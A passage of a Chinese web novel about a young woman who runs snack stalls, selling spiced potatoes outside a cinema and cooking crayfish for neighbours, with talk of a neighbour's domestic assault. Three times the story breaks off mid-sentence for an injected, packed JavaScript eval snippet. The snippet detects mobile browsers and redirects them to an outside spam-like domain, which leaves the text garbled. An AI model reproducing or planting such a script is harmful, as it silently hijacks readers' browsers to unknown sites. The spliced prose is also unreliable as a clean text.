半个小时，苏念把鸡蛋洗完、只剩下几个鸭蛋，人也没来。她干脆一口气将蛋全部洗完，把蛋移回厨房，孙菊才姗姗来迟。 “小苏，出大事了。”孙菊气喘吁吁的跑来，刚进厨房着急忙慌喊道，“刘素华两口子打架进了警察局，刘素华鼻子被打的直流血，动静闹的很大。” 孙菊和刘素华住在同一条巷子里，距离不远。 苏念惊讶，想起上午两人的争吵，“什么？为什么打架？” “我在人群外看了全程，胡建民好烟酒朝刘素华拿钱，刘素华不给，胡建民生气嫌弃她没本事挣钱。两人争执，扭打在一起。” “吴建明想拿板凳砸她脑袋，要不是邻居拦下来，搞不好闹出人命。” 15. 狼牙土豆 孙菊一想起刘素华流血的场面，心有余悸。 吴建明之前混社会的，犯过事，动起手来真是往死里打。女人被按在院子的石凳上，嘴角带血，长发散落，男人扯着发根，面目狰狞。要不是邻居反应机灵，他手上的木凳能直接砸在刘素华的脑袋上，说不定会闹出人命。 “现在刘素华送医院，吴建明被拘局子里。家里的两个小孩吓的一愣一愣，送去奶奶家了。” 讲清楚前因后果，两人一时间有些沉默。 吴建明的威胁让她和孙菊有些紧绷，也做好的全力迎战的准备，谁曾想战争尚未正式开始，对面的将军倒下了。 两人站了一会儿，回过神，开始忙碌。备菜结束，孙菊回家烧晚饭，她也开始烧晚饭。 刘春霞带着三孩子回家，让孩子们自己玩，她直奔厨房。 “小苏，你知道吴建明打刘素华了吗？”一进厨房，刘春霞直接问。 苏念添一把火，才抬头，“下午听孙菊说了。” “我下班路上听人讲的，听说打的挺严重的。”刘春霞有些心悸，回忆道，“两口子刚结婚时感情好，后面吴建明犯事回来沾染上了酗酒，脾气变得特别差。不过一直没听说两人打架，没想到今天闹出这事。” 刘春霞说完，对视一眼，忍不住叹了口气。女人被打，是她们不愿意看见的事情。 两人就这个话题没聊多久，换了话题。刘春霞帮着收拾厨房、摆桌子、盛饭。伺候着三个小孩吃完饭，哄睡着才和苏念一起坐在院子里乘凉。 快六月底的院子，晚上已经有一丝温热，两人并排躺在躺椅上，看着星空。 一向健谈的刘春霞，罕见的没有说话。 - 接下的时间，苏念带着孙菊正常卖早餐，中午接孩子们回来吃中饭，下午备菜。日子一天天的过去，除了刘素华两口子没再出来摆摊，日子似乎也没有什么不同。 迎来送往，很快到了六月底，钢铁小学迎来了期末考试，江颜上的托班放了暑假。 四条巷顿时热闹起来，孩子们考完最后一门，放学回家书包一扔，直接奔往巷子口找好朋友们玩耍。 孩子王许曼丽也不例外，放学回家，昂着满是汗渍的小脸和她讲带着江颜出去找朋友玩，见两个孩子眼里盛不止的期待，嘱咐了一句不要玩水，挥挥手让两人玩了。 “你们家江颜性子的越来越活泼了？”孙菊望着活蹦乱跳离开的两个小孩背影，有些感慨。 “是啊。”苏念停下擦洗工具的动作，“小孩子活泼些好。” 钢铁小学放暑假，她和孙菊商量了一下，打算早摊铺歇两个月，改做晚市小吃。小学考试结束，两人聚一起将东西擦洗一下收起，两人放一个礼拜假期，再重新开业。 孩子们出去玩耍，小院安静下来，孙菊左右看了一眼，探头。 “你知道吴建明打刘素华的事情怎么解决？” 吴建明打媳妇的事情在四条巷是大新闻，前后事情才过去一个礼拜。苏念本身不太愿意打听，回到四条巷，加上孙菊总共才两人说的上话。 只能摇摇头。 孙菊见状，压低声音说，“听说刘素华被打的左耳失聪，带着孩子回扬州老家，闹离婚，吴建明在局子里关押着。” “这事情闹得很严重，上个礼拜的平江日报着重报道了这件打妻恶劣事件。” “应该不会轻易解决，大家都在猜吴建民很大可能性二进宫。只是可怜了他一双年迈的父母了，原本热热闹闹的家里现在只剩下老两口。” 孙菊说完叹了口气，有些唏嘘。美满幸福的家庭一朝毁于一旦，受苦的只能是女人老人孩子。 苏念默默听完，没有回话。确实如孙菊所说的一样，女人老人孩子受罪，但如果能重判吴建明，对刘素华来讲，是一种公平。 她能看出刘素华是个不怕吃苦的女人，也是一个有能力的女人。就算日后自己带着孩子，也能过得很好。 她曾经看过无数女人遭遇家暴，为了孩子忍耐，只是为了给孩子一个完整的家庭。可是，有时候分开，对孩子的成长会更好。 两人默契的转换话题，东西整理好，孙菊回家，孙菊进屋休息，昨晚和刘春霞两口子商量好，今晚下馆子庆祝孩子们期末考试结束，吃完饭带着孩子们去看一场电影。 看电影是苏念提出来的，她想去考察一下晚市的场地，顺便带小反派看场电影，增进两人之间的感情。结果刘春霞一听，当即拍板决定，吃完饭一起行动。 躺床上休息一会儿，天色渐晚，外出疯耍的两个小姑娘汗渍渍的跑回来。 苏念拿着毛巾给小反派擦脸洗手，又把弄的脏兮兮的衣服换下。 五点半，刘春霞两口子准时回到小院。两家简单收拾一下，整整齐齐的往市中心的国营饭店去走去。 昨晚选择餐馆时，刘春霞说电影院旁边是国营饭店，吃饭地点直接定下。 到了饭店，许建国点了四五道招牌菜，接着出了饭店门，再次回来时手里捏着六张电影票。 晚饭吃完，苏念悄咪咪地去把饭钱结掉。因为这事，刘春霞差点和她急，两人一番推拉下，才算作罢。 一行人浩浩荡荡的进了电影院，许建国买的是一部喜剧电影《少爷的磨难》，三个孩子笑的前仰后合。 一个多小时，影片结束。一行人电影院，孩子们脸色通红，兴奋不已。连一向沉稳的许军满脸笑容，讨论剧情。 电影院大门上方有一盏路灯，映照着昏黄的灯光，投下一片阴影。孩子们站在光圈里，脸上的笑容灿烂。 观影人大多是年轻人，影片一结束，一窝蜂的涌进影院前的小吃摊。 “颜宝、曼丽、小军，你们饿不饿？”苏念眼光紧盯着前方一位卖肉饼的摊位，若有所思的询问三个小孩，“我带你们去买东西吃，好不好？” 江颜、许曼丽两个姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491035|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹花，一呼百应，满脸兴奋地举手同意，苏念和刘春霞打了声招呼，带着三个孩子涌进人群。 平江市只有一家电影院，年轻人想要约会看一场电影，只有一个选择。而除了休息日的约会，平时只能是下班后约一场电影。因此，往往看电影前后，年轻人总会选择买一点东西垫垫肚子，为接下来的约会补充体力。 苏念带着孩子们转悠了一圈，大致了解影院前的摊位类型，有卖肉饼、卖糖粥、卖面....... “大娘，烧饼多少钱一张？”苏念牵着孩子们在一早瞄好的卖肉饼摊。 “三角钱一张。”卖肉饼的是一个头发花白的婆婆，穿着灰布衬衫，年过半百做事却利索，操作案板前干干净净。 苏念要了六张饼，付了钱，状似随意的问，“大娘，生意还好做吧？我看年轻人蛮多的哎，买饼的人应该也多。” 一下进账一元六角钱，妇人眼角的皱纹快笑平了，话自然也多，拉闲寡把该说的不该说的全说了。 一圈攀谈下，六块饼也做好，苏念把饼挨个分给三个小朋友，带着剩下的三块饼和一旁坐着休息的刘春霞夫妻会和。 一行人一边吃饼一边慢悠悠的回了小院，刘春霞主动承担起帮两个小姑娘洗澡的任务，把江颜送回来时硬塞了饼钱。、 房门关上，苏念看着躺在手心里的钱，心中一暖。 夜幕降临，万籁俱寂。 苏念躺床上单手当作枕头，脑海中开始疯狂的计算。钢铁小学摆早餐摊赚了不少钱，加上承接李志新一顿饭和刘春霞家吃饭，加一起，总额是可观的。 但这笔钱对于开餐馆是不够的，至少差一点点。希望接下来两个月电影院前的小吃摊能再赚一笔。 算完钱和装修的大致费用，苏念又想了会儿小吃的品种，慢慢陷入了睡梦中。 七月初，刘春霞开始上晚班，白天在家。 接下来的一个星期，苏念和刘春霞带着江颜和许家兄妹俩白天在平江市各个景点玩耍，晚上许军领着两个妹妹玩，读故事书给她们听。 一个星期过后，苏念和刘春霞商量了一下，拜托她帮忙她出摊时照看一下江颜。 电影院摆小吃摊上什么品，苏念想来想去，打算上一款川系小吃狼牙土豆，川香麻辣、适合年轻人的口味。 苏念提前在刘钱君那边定了十斤土豆，又教学了孙菊怎么处理土豆，又跑去干货店买来秘制辣椒面的所有材料。 开业的第一天，孙菊中午吃过饭直接来帮忙，刘春霞没事也拿着小板凳坐下削土豆皮。 苏念买了三个塑料水桶，两个干净的大盆，盛满清水。孙菊和刘春霞负责削皮，她负责清洗。 配合默契，十斤土豆削皮清洗完。 三人才拿着苏念去铁匠拿专门定制的波浪刀，把土豆全部处理成条，放清水桶中泡出淀粉。 秘制香料、处理好的土豆装车，苏念带着孙菊往电影院出发。 16. 狼牙土豆2 傍晚六点半的电影院门口陆陆续续摆了不少小吃摊，前段时间遇见的肉饼大娘也在，旁边空着的一个摊位。 苏念带着孙菊把车在空摊位停下。 “大娘。”苏念率先打了声招呼。 卖肉饼的大娘正拿着火烧拨弄炭火，转头一看，是曾在她摊位上一口气买六张饼的小姑娘，此刻正满面笑容的看着她。 苏念察觉到大娘打量她之后又打量了她带来的餐车，主动解释道，“大娘，我们卖狼牙土豆，和你的不冲突。” 这话一出，明显感觉大娘眼中的戒备放下，两人寒暄了两句，各自忙各自的。 车子停好，苏念摆放工具，孙菊把装满土豆的桶放一旁。 夜幕渐渐降临，路灯洒下橘黄色的光，电影院门口满满的来了人。 苏念把铁锅一架，倒油，冒热气，放入称好一份量狼牙土豆。 油瞬间沸腾，包裹着土豆上下翻涌。慢慢地一股香味飘出，炸至表面微黄，筷子能轻松戳破捞出。 沥油，等待油温再次升高，放入复炸。 年轻人靠近，周遭摊贩响起了叫卖声。孙菊依样学样，吆喝人来尝尝看。 苏念炸了一份脆一点一份软糯一点的土豆，拌好放在面前，让人试吃。 傍晚六点四十五，人流量慢慢多了。 李素琴是纺织厂学徒，十八岁，正是爱吃爱玩的年纪，前段时间家里给她介绍了相亲对象，比她大五岁，男生是压缩机厂工程师，名字叫陈康宁。 见过一次面后，她父母对男孩非常的满意。让她好好接触，能够定下来就定下来。但她有点不喜欢，男生长相虽然不错，但性格太木讷寡言。约她的地点选择全是电影院，两人接触一个星期多，基本上六七天选择看电影。 她承认对方条件不错，但人太无趣了。如果不是因为爸妈的强烈撮合以及电影院门口的诸多好吃摊位，她一点也不想出门。 此时，对方接了她下班，从纺织厂到电影院，二十分钟的路程，两人竟然没有一点交流。基本上全是她在说，他在听，偶尔附和一两句。 到了电影院门口，李素琴嗓子讲哑了，第一时间想买喝的润润嗓子，搜寻间只听见一道响亮的叫卖声，鼻间传来香味。 定睛一看，不知道何时来了一个新摊位，做的吃食也新奇。 李素琴直奔摊位，“老板，你这东西咋卖？” 苏念抬眼，一个扎着双马尾辫，穿着碎花连衣裙，脸圆圆的女生正一脸兴奋的盯着她锅里的土豆。 “狼牙土豆，三角钱一份，要不要来一份？” “要。”李素琴毫不犹豫的下单，转头看向相亲对象，“陈康宁，你要不要？” “来一份。”陈康宁点头，掏出钱包把钱结掉。 苏念点头，让孙菊开始炸土豆，“要脆一点的还是糯一点的？什么口味的？孜然味？香辣味？微辣还是中辣？” 李素琴，“脆一点，中辣。另外一份不要辣椒，放孜然。” 孙菊闻言，手下动作加快，快速炸出土豆，苏念拌料，装袋，递出。 李素琴接过一份递给陈康宁，拿着剩下的一份往电影院快步走。 电影快开场了，昏暗的环境下，手中的土豆热气腾腾、香味不断的往鼻间钻，李素琴没忍住拿签子戳了一根土豆条塞嘴里。 外脆里糯，表面裹着的辣椒面香辣有味，在舌尖蔓延开，一口下去，口齿留香。她平时的饮食的偏辣口的，喜欢吃一点有味道的东西，但有些菜吃的时候很下饭，但饭后会烧心口。 手上的东西，香辣够味，却不会烧心。 电影开始，背景音乐开始播放，李素琴左右瞧了一下，悄咪咪的一根一根的塞嘴里。 没过多久，李素琴拿签子没戳到，低头一看，才知道土豆已经吃没了。 叹了口气，意犹未尽。李素琴正盘算着电影结束，再去买一份带回家时，面前出现了一袋土豆。 抬眼看去，见陈康宁说，“我看你爱吃，这一份也给你，我没吃过。” 昏暗中，男人的嘴角微微扯动，眼中带着笑意，微亮的光线下，俊俏的脸庞若隐若现。 心跳，忍不住漏了一拍。 李素琴接过土豆，摸摸发烫的脸庞，呐呐的回了句谢谢。 陈康宁回了句嗯，两人之间，一时间有些静默。 电影院里年轻的男男女女安静下，暗流涌动。 看了会电影，李素琴才回神，准备继续吃土豆，突然胳膊被人拉动。 “同志你好，认识一下，我叫张慧。你手里的东西在哪里买的？” 一个圆脸，扎着麻花辫，模样最多十几岁的女孩指着她手里的东西问。 “我是李素琴。” “电影院门口，卖烧饼大娘旁边的女摊主卖的，这个叫狼牙土豆。” 李素琴小声的回答，说话间，拿签子戳了一条递出去。 “谢谢，好吃，我散场也去买一份。”女孩尝了一口，小声的回道。 李素琴一听，邀请女孩散场后一起去买，女孩欣然同意。 陈康宁听着两人的对话。 - 苏念不知道自己卖的狼牙土豆已经有了回头客，她只知道快忙疯了。 第一次卖狼牙土豆，心里没底，不知道能不能卖的动，苏念保守进了十斤的土豆。 结果没想到销量意外的好。除了电影开场前卖了不少，开场后，陆陆续续来了挺多散客。 孙菊负责炸土豆，她负责拌土豆、装袋、收钱。带来的十斤土豆，不到一个小时已经下去一半。 “嘿，真神了。”孙菊刚有空停歇，带来的两桶土豆已经去掉一桶半，“小苏，怎么大家都愿意花钱买你做的东西呢。” 从当初的菜煎饼、茶叶蛋，到后面的新上的包子直接抢占了刘素琴包子摊的生意。如今换到电影院卖土豆，照样生意好。 孙菊有些庆幸当初关掉自家的粥铺，加盟苏念做的生意。 苏念整理调料台，抬眼看了一眼女人满脸崇拜，正想说啥，电影院门口涌出一堆人。 “孙嫂，咱们争取把剩下的半桶土豆卖完。” “嗯。” 两人眼中斗志满满，苏念率先叫卖开，不多时摊位前排起了长队，孙菊满面春风的接待客人。 李素琴带着新认识的朋友张慧直奔小吃摊，陈康宁跟在后面。 结果刚出电影院门，被长长的队伍吓一跳。 “李姐，怎么了？哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491036|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家摊位啊？得抓紧买啊，我怕买不到。” 张慧见李素琴停住脚步，有些焦急。电影院门口的小吃摊，她如数家珍。基本每次来电影院都会光顾。但狼牙土豆是新开的摊位，味道又好，年轻人又多喜欢尝试新鲜事物。万一被发现了，很容易买不到的。 “可能已经买不到了。” 李素琴指着长长队伍的摊位，一脸震惊。从她买第一份土豆到电影结束，前后不过一个多小时。 摊主的生意火爆了？ “不管了，咱们先排着，万一能买到呢。” 本来张慧看到长队伍萌生退意，可脑海中不经意回想土豆特味道，心一横，打算排队。 李素琴见状，跟着排队等候。 长队伍缓慢的行进，苏念忙的不亦乐乎，收钱收到手软，不停的撒调料，眼中的笑意愈发明显。 等队伍行进到一半时，半桶土豆见底。 “土豆售罄，想吃的明天六点半开摊，早点过来。” 苏念吆喝一声，提前让排队的顾客离去。 排在队伍末端的李素琴和张慧对视一下，皆从对方脸上看到了失望。 “老板，能不能预定啊？我明晚下班过来拿行不行？” 队伍很快散去，只剩下能买的零星几个客户。张慧本来想走，电光火石间，问了一句。 “可以，你需要几份？什么口味？”苏念埋头拌土豆，忽然听见一道清脆的女声，抬头回道。 “我要两份。” 本来张慧只是想要试探一下能不能预定，没想到可以，一下子有些惊喜，连忙凑近。 “老板，两份中辣，钱给你。”张慧递出去，“素琴姐，你明天来电影院吗？我请你吃一份。” 李素琴摆摆手，直接自己定了两份，付钱说清楚口味。 苏念拿着小本子把两人的姓名地址记下，说清楚明天凭此拿货。 两人纷纷点头，手挽手离开。 收好纸和笔，苏念打开了新思路。她完全可以接预订单，能极大的控制耗损。 把剩余的几份土豆炸好卖完，苏念和孙菊收拾东西回小院已经是晚上的八点四十多。 推开小院门，蹑手蹑脚地洗漱上床睡觉。 明天中午答应给孩子们做大餐，她起床去一趟菜市场才行。 一夜好眠。 早上六点半，四条巷热闹非凡，放暑假的孩子们在巷子里跳皮筋、踢毽子、玩弹珠…… 暂停卖早餐，苏念难得睡了一个懒觉，起床拎着牙缸牙刷打算去院子里洗漱。 “苏姐，是我，钱宇。” 刚走到院里，墙外的钱宇疯狂的挥舞着手臂。 苏念连忙打开院门让小伙子进来。 “姐，我给你送龙虾，早上刚逮的，我寻思着给你送一点过来。” 因为不上茶叶蛋，苏念打算暂停卖早餐时和钱宇商量了暑假期间不送蛋。 两人已经有一个多星期没见过面。 面前的小伙子面色红润，曾经布满补丁的衣服不知何时换了一身，新衣服整洁干净。 苏念找了一个大盆，一兜网的龙虾倒入盆里。 望着张牙舞爪的龙虾，苏念脑中只蹦出五个字，麻辣小龙虾。 17. 麻辣小龙虾 七月初，天气炎热，知了仿佛也热的受不了疯狂鸣叫。 钱宇把龙虾放好，连忙告别离开送货。按照他的说法，如今他已经有四五家合作的餐馆。 铁盆里的龙虾强力有劲儿，张牙舞爪的用力抓盆，拼命想爬出去，却又失败。 苏念舀了一瓢清水倒入，回厨房拿了一个塑料大盆扣上。 先养着，下午处理。 “小苏，过来吃早饭。”刘春霞一手端一个面碗，扯着嗓子喊。 苏念闻言，连忙迎上接过面碗，放在院子里的桌上。 “刘嫂，三个孩子呢？” 自打放暑假，三个小朋友像放虎归山，尤其是江颜，每天天微微亮，眼睛睁得圆圆的想起床找许曼丽玩。 她只能将小孩穿衣服洗漱好，让许曼丽带着她玩儿。今天早上也是，天不亮就起床，她强压着睡了一会儿，天亮才让江颜跑出去玩，自己睡回笼觉。 “早上给他们吃完饭才去玩的。”刘春霞不在意的摆摆手，“咱们吃咱们的，我刚刚好像瞧见钱新宇来了？” 她对钱宇是熟悉的，苏念的鸡蛋供应商，有的时候也会送些小东西给她。一来二去，互相认识。 “嗯，送了些龙虾过来，咱们晚上吃麻辣小龙虾。”苏念点点头，喝了一口面汤，“嫂子，你煮的面味道真不错。” 刘春霞做的早饭是两碗阳春面，汤鲜美，面筋道。 埋头苦吃，一碗汤面下肚，胃暖暖的，苏念分外满足。 忍不住打了个饱嗝，苏念才说正事，“嫂子，今晚许大哥下班回来早不早？咱们今晚喝一杯？我把孙菊一家叫过来吃顿饭。” 麻辣小龙虾配着啤酒，和三五好友畅谈。 刘春霞一听，直接答应下来。 吃过饭，苏念带着孙菊骑着三轮车去农贸市场，到了地方直奔刘钱君的摊子，把晚上小吃摊的食材预定下，土豆直接增加到十五斤，另外买了些制作麻辣小龙虾的配菜和炒火锅底料的食材。 刘钱君一见苏念进货量，眼睛笑成一条缝，“苏老板，看来生意不错啊。你以后想要啥材料，我帮你留意着，专门给你进货。” 苏念开玩笑，“刘老板，今天有些殷勤哦。” 刘钱君，“得抱紧财神爷的大腿啊。” 两个聪明人，相视一笑。 财神爷，真的是财神爷啊。之前钢铁小学放暑假，他本来有些担心暑假期间没有订单，正忧心，人家直接转战开小吃摊，貌似生意依旧火爆。 他直觉得抱紧这根大粗腿。 苏念寒暄了一会儿，留孙菊拿货装车，她直奔肉铺去买了两斤牛油膘，拎着东西又往干料铺买花椒等香料，东西买全食材也全部装车。 给刘钱君结清货款，带着孙菊回小院时也接近晌午。 食材卸下来，苏念让孙菊晚上过来吃晚饭，聚餐一下，才捏着钱直奔中药房。 昨晚卖狼牙土豆时注意到很多年轻人吃完东西口渴找水喝，她打算上冰镇酸梅汤，搭配着土豆，肯定会畅销。 到了中药房买了山楂、乌梅等制作酸梅汤的食材，再次回到小院时刘春霞中饭也做好。 刚进小院门，三个围着龙虾盆的小孩抬头看她，下一秒，腿脚挂了两个小零件。 “妈妈，我们今晚吃龙虾吗？” “苏姨，我们晚上吃龙虾吗？” 两个小朋友眼睛忽闪忽闪的盯着她，非常可爱，苏念忍不住伸手挨个摸了一下头，确定她们的猜想。 果然，两个小朋友欢呼雀跃。 “许小丽、小军，吃饭了。”刘春霞见馋鬼闺女，无奈扶额，“小苏，吃饭。” 两个大人三个小孩齐刷刷围坐餐桌，一顿饭结束，三个孩子各自回屋睡午觉。 苏念拎着牛油膘去厨房，打算把火锅底料炒出来，刘春霞见状也跟进去帮忙。 烧火，锅热放入处理好的牛油膘，拿铁铲慢慢的煸炒出油脂，成油渣捞出，倒入准备好的菜籽油，继续升高温度。 放入切好的洋葱段、葱、大量的香菜，东西放入，油瞬间炸开，没一会儿香味冒出。 三样东西炸至焦黄捞出，继续放入准备好的大量花椒、冰糖、干辣椒段，香味袭来的同时伴有刺鼻的辛辣。 忍不住的打喷嚏。 火头变小，免得香料炸糊，翻炒十几分钟，等待香料和油彻底融合。 关火，把炒好的底料放在铁盆里，放在一旁静待冷却。 “这东西虽然呛人，但味道怪香的。”刘春霞熄灭火，看着火锅底料，闻着味。 “是呛人，这东西还能煮火锅吃，咱们下次有机会煮一次。”苏念把盆放好，笑着回答，“晚上炒小龙虾时用，味道很好。” 刘春霞笑道，“行，听你的。” 火锅底料炒完，三个小孩午睡也结束了。因为刘春霞上晚班，赶紧回屋睡觉去了。 许曼丽依旧带着江颜出去找小朋友们玩，许军则留在家里写作业。 下午孙菊按照约定时间过来，两人端着小板凳处理土豆。十五斤的土豆处理起来不是一件容易的事情。 苏念望着堆成小山的土豆，想了想，出来找了对门邻居林泉做小工。 三人凑齐，十几斤的土豆处理速度快了起来。一人削皮一人清洗，剩下的一人切土豆，全部处理好，苏念给林泉结清工钱。 林泉揣着工钱，笑容洋溢，连连说下次有机会一定找她做工。 苏念送走林泉后，开始处理小龙虾。拿牙刷将小龙虾刷洗干净，扔在铁盆里。钱宇送来的龙虾个头大、活力足，刷洗时一不小心会被龙虾钳到。 好不容易把十来斤的龙虾刷洗干净，苏念马不停蹄的开始备菜。 一共九口人的饭，除了麻辣小龙虾，苏念又买了些鸡肉等，打算给孩子们炸鸡米花吃。 孙菊帮着备菜，全部弄完已经是下午三点多。见时间差不多，开始烧菜。 锅热，倒入大量的菜籽油，冒泡，放入处理好的龙虾。 一下锅，龙虾瞬间变色，青壳变红壳，随着油上下翻滚。 龙虾炸变色后快速捞出，放盆里沥油。重新起锅，放入火锅底料、洋葱、蒜片，快速炒出香味，再次倒入龙虾，上下翻炒，倒入啤酒，盖上锅盖。 “小苏，要不然你去卖龙虾吧？味道肯定好，马上到夏天了，这东西吃着有味。”孙菊嗅着香味，由衷的感叹，“你炒的火锅底料好香啊。” “我也想卖啊，可惜没有大批量的龙虾。”苏念笑着说，“火锅底料等会儿给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491037|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你带一点回去。” 铁锅冒出热气，揭开锅盖，一阵水蒸气窜出，放入切好的黄瓜、藕片、土豆片，重新盖上锅盖焖煮三分钟。 傍晚五点多，四条巷热闹非凡，孩子们的笑闹声伴随着下班工人的交谈声，一时间，充满烟火气。 刘春霞睡醒起床，到了后厨一看，已经摆着四五道菜。 “咱们今晚有口福了。”刘春霞笑道，“我让许建国下班回来买了些冰块回来，咱们晚上喝冰镇啤酒。” “嫂子，睡醒了啊？”苏念闻言，意念一动，“冰块哪里有卖的？” “就巷子口最东边冷饮店有卖的。”刘春霞一边说一边把头发扎好，“有没有我能帮忙的？” “嫂子，你把孩子们叫回来，把两张餐桌摆好。”苏念记下地址，随意道，“咱们分两桌，小孩一桌大人一桌。” “好！” 刘春霞听完和孙菊打了声招呼，拿着抹布去忙。 “小苏，你打听冰块干嘛？怎么？要上新品了？”刘春霞一走，孙菊立马说。 “我打算上冰镇酸梅汤。” 不得不说，孙菊是一个聪明且执行力强的合作伙伴，不需要她多说多教，领悟的很快。 “材料买好了吗？今晚上吗？” 苏念，“买好了，盛汤的桶没买好，今晚先不上，明天再说。” 两人一问一答，俨然默契搭档，相视一笑。 前院传来笑闹声，没一会儿，人员全挤到不大的厨房里。 “许大哥，周大哥。”苏念打了声招呼，“你们先去前院坐着，剩下一个菜炒好，咱们开饭。” “苏老板。”皮肤黝黑的中年男子指着一旁的碗筷，“咱们也帮帮忙，碗筷是这些吧，我拿去洗洗。” 孙菊的老公叫周大海，皮肤黝黑，胡子拉碴，但肌肉健硕，一看就是干活的人。跟在周大海旁边的是孙菊的儿子，十五六岁，读初三，个子高挑、文文静静。 和她打了声招呼，苏念笑着回了句。 小孩子最爱凑热闹。经过这段时间的相处，孩子王许曼丽俨然成为江颜的头头。 此刻，两人见大人忙碌，跟在大人后面凑热闹上前端碗。 苏念把最后一道蒜蓉蔬菜炒完，端出来，放到桌子上。 正式开饭。 许建国不仅买了冰块，还给每个孩子买了一瓶汽水。 大人们举着冰镇啤酒，小孩子举着汽水，一起干杯。 傍晚的夕阳渲染的天空格外美丽，院子里的大人们酣畅淋漓的吃着饭喝着酒聊着天。 周大海一口酒下肚，舒服的喟叹，拿起一只龙虾放嘴里嗦了一圈，舌尖麻辣。 取出虾壳，拿着虾尾肉放汤汁里蘸了一下，放入嘴中，肉Q弹有嚼劲。 “苏老板，你要是开餐馆，我铁定去支持你。” 周大海扯着嗓子，眼中是食欲得到的充分满足。 大人高谈阔论，小孩桌默默埋头吃饭。 江颜扯了扯好朋友许曼丽的小手，指着坐在对面的哥哥，小声地问为啥他不吃龙虾。 明明妈妈烧的麻辣小龙虾超级好吃。 许曼丽看了一眼，直接发问，“哥哥，你为什么不吃小龙虾呀？苏阿姨烧的可好吃了。” 18. 白汤肉丸子 “吃龙虾手容易油。” 周琪最讨厌吃油腻腻的东西，洗完手也容易油叽叽的，黏糊糊的很难受。 “可是，苏阿姨烧的很好吃啊。” 小吃货许曼丽疑惑为啥有人会因为讨厌油叽叽的而放弃吃美味的龙虾肉。 说话间，抓起一只龙虾，快速的剥去外壳，蘸了一下汤汁递给周琪。 “周琪哥哥，你尝一下，很好吃的。我给你剥好了，不会脏手的。” 许军瞥了一眼笑容灿烂的妹妹，抬眼看了下旁边的周琪，低下了眼眸。 “嗯，谢谢你。”周琪看着碗底Q弹的虾尾，道了声谢，看着满眼期盼的小孩，拿起筷子夹起送入口中。 麻辣味混着肉质的Q弹，霸道的占领口腔领地。周琪有些惊喜，盯着盆里放着的龙虾壳裹满红油。 放下筷子，抓起龙虾开始剥壳，第一只剥完放入许曼丽的碗里，第二只给江颜。 两个小朋友对视一眼，齐刷刷的道了声谢。 周琪剥到第三只，犹豫了一下递给了许军，他总觉得这小子看他的眼神怪怪的。 看着碗底多出的虾肉，两秒，许军才道了声谢。 一顿饭下来，大家晚上都有事，酒喝的不多，但也高兴。 - 傍晚六点二十，电影院门口。 李素琴和张慧早早地等在电影院前，昏黄的灯光下，两个女孩子有说有笑拿着刚买的小吃。 “这家的煎饼味道一般般，我妈之前送我弟上学时在小学门口的一家早摊铺买的菜煎饼，那味道才叫绝。” 张慧吃着手里的煎饼，眉头皱紧，说起菜煎饼满是怀念。 “又香又酥脆，可惜小学放暑假，买不到了。” “真有那么好吃？”李素琴咬了一口糕点，眼中充满怀疑，“能有狼牙土豆好吃？” 两人昨晚预定了狼牙土豆，回去路上又觉得买少，相约今天早点过来，当第一批顾客。 张慧，“我只能说不分秋色。” 李素琴，“听你这么说，有机会我一定要去买一块尝尝味道。” 两人说说笑笑间，摊子陆陆续续摆全。 苏念和孙菊骑着餐车到达时，刚准备摆摊时两个小姑娘围了上来。 “姐姐，我们昨天预定了狼牙土豆。” 其中一个女孩圆脸、圆眼、扎着马尾辫，穿着碎花裙笑眯眯的看着她。 苏念一边说一边摆东西，“张慧，你预定两份中辣土豆。” “你是李素琴吧，你也预定了两份中辣狼牙土豆。麻烦稍等一下，我们先准备一下。” “我们俩想再加一份微辣的。” “好，稍等一下。” 孙菊和苏念两人快速的分工合作，四份狼牙土豆很快出锅，顺带宣传了一下明天即将上的新品冰镇酸梅汤。 两人高高兴兴地拎着东西离开。 张慧和李素琴手挽手，迫不及待地尝了一口狼牙土豆。 “唔~好吃。”张慧忍不住感叹。 “是吧是吧。”李素琴附和，“老板说明天上冰镇酸梅汤，我想来买一份尝尝。” 张慧，“巧了，我也是。” “老时间。” “老地方。” 两人彼此望了一眼，心照不宣，望了一眼摊位，已经围满了人，纷纷庆幸来的早。 孙菊不停的炸土豆，苏念拌调料的手快出残影，还得挨个核销提预定单的人。 一晚上忙忙碌碌，带来的土豆售罄，不够卖只能又让人预定。 苏念捏着本子挨个记下预定份数，算下来，又预定了二十来份。 “苏老板，你们生意好呦。”卖烧饼的大娘满眼艳羡的说了句。 经过几天的相处，三人熟络起来。卖烧饼的大娘姓崔，性格和善，五十来岁人，下岗工人再就业。有一个儿子已经成家立业，她和老伴白天帮忙带孙子孙女，晚上出来卖点烧饼挣钱补贴家用。 